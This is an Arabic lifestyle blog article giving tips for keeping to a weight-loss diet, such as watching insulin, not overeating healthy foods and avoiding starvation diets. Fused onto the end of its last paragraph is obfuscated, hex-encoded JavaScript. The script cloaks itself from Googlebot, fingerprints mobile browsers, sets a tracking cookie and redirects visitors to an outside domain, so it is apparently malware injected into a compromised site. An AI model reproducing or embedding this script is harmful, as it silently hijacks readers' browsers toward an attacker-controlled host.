انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تحافظين علي حميتك الغذائية

كيف تحافظين علي حميتك الغذائية

ان عزمت على التخلص من الزون الزائد الذي يسبب لك العديد من المشكلات والمواقف المحرجة وبدأت في ذلك بالفعل وفي منتصف الطريق بدأت تشعر إنك لا تجني الكثير من وراء هذا النظام الغذائي الجديد وان هذه الحمية الغذائية لا تؤتي بثمارها عليك ان تفكر قليلا هل تتبع نظام غذائي جديد فقط ام تريد الحصول علي حياة جديدة من دون هذه الكيلو جرامات الزائدة التي تسبب لك الاحراج والان عليك ان تختار نمط الحياة الذي ترغب به وتجنب هذه الأخطاء الموجودة في المقالة حتى لا تفشل حميتك الجديدة لأي من هذه الأسباب: –
نسبة الانسولين: نسبة هرمون الانسولين من الأمور الهامة جدا والتي يجب المحافظة عليها حيث ان هذا الهرمون هو المسئول عن تخزين الدهون في الجسم ويمكنك الحفاظ على نسبة هذا الهرمون من خلال المحافظة على اتباع نزام غذائي متوازن يحتوي على كافة العناصر الضرورية التي يحتاج اليها الجسم

 

 

كيف تحافظين علي حميتك الغذائية
كيف تحافظين علي حميتك الغذائية

الطعام الصحي مضر أحيانا: الكثير من المقالات والكتب التي تقر بان الالبان والاسماك والمكسرات من الأطعمة الصحية وأنها تحتوي على الكثير من العناصر المفيدة للجسم والتي يحتاج اليها الانسان ولكن الاسراف في تناول هذه الأطعمة يؤدي الي الكثير من الاضرار حيث ان هذه الأطعمة تحتوي على نسبة من السعرات الحرارية والتي تتراكم في جسمك علي شكل صورة من الدهون التي تكرها وتود التخلص من الكيلو جرامات الزائدة التي الحقتها بك

 

كيف تحافظين علي حميتك الغذائية
كيف تحافظين علي حميتك الغذائية

نقص الطعام: من أنواع الحميات المتبعة والتي يعترف بها البعض طريقة نقص الطعام ” تجويع النفس ” عن طريق الاعتماد علي تناول وجبة واحدة تقريبا في اليوم وتكون فقيرة في قيمتها الغذائية فهذا لن يساعدك في التخلص من الوزن الزائد لان ما تلاحظه من نقص في اول يومين او ثلاثة لن يدون لن الجسم تلقائيا سوف يبدا في ابطأ معدلات الايض داخله حتى تتكيف مع النظام الغذائي الجديد بالإضافة الي ان هذه الطريقة تعرضك للجوع الليلي وهو أحد العادات التي يجب نسيانها والتخلص منها

 

كيف تحافظين علي حميتك الغذائية
كيف تحافظين علي حميتك الغذائية

الراحة الأسبوعية وخطرها: هل من الممكن ان نتوقع ان يوم الراحة الأسبوعية له اضرار؟ من النادر ان نقع في مثل هذه المواقف ولكن ان كنت تتبع أحد الحميات الغذائية التي تساعدك على التخلص من الوزن الزائد فمن الممكن ان يكون تجمعك يوم الراحة الأسبوعية مع الاهل والأصدقاء يدفعك الي تناول المزيد من الطعام لإرضاء البعض او تناول بعض أنواع الطعام التي لا يتوجب عليك تناولها تماما وفقا للنظام الغذائي المتبع حالياvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.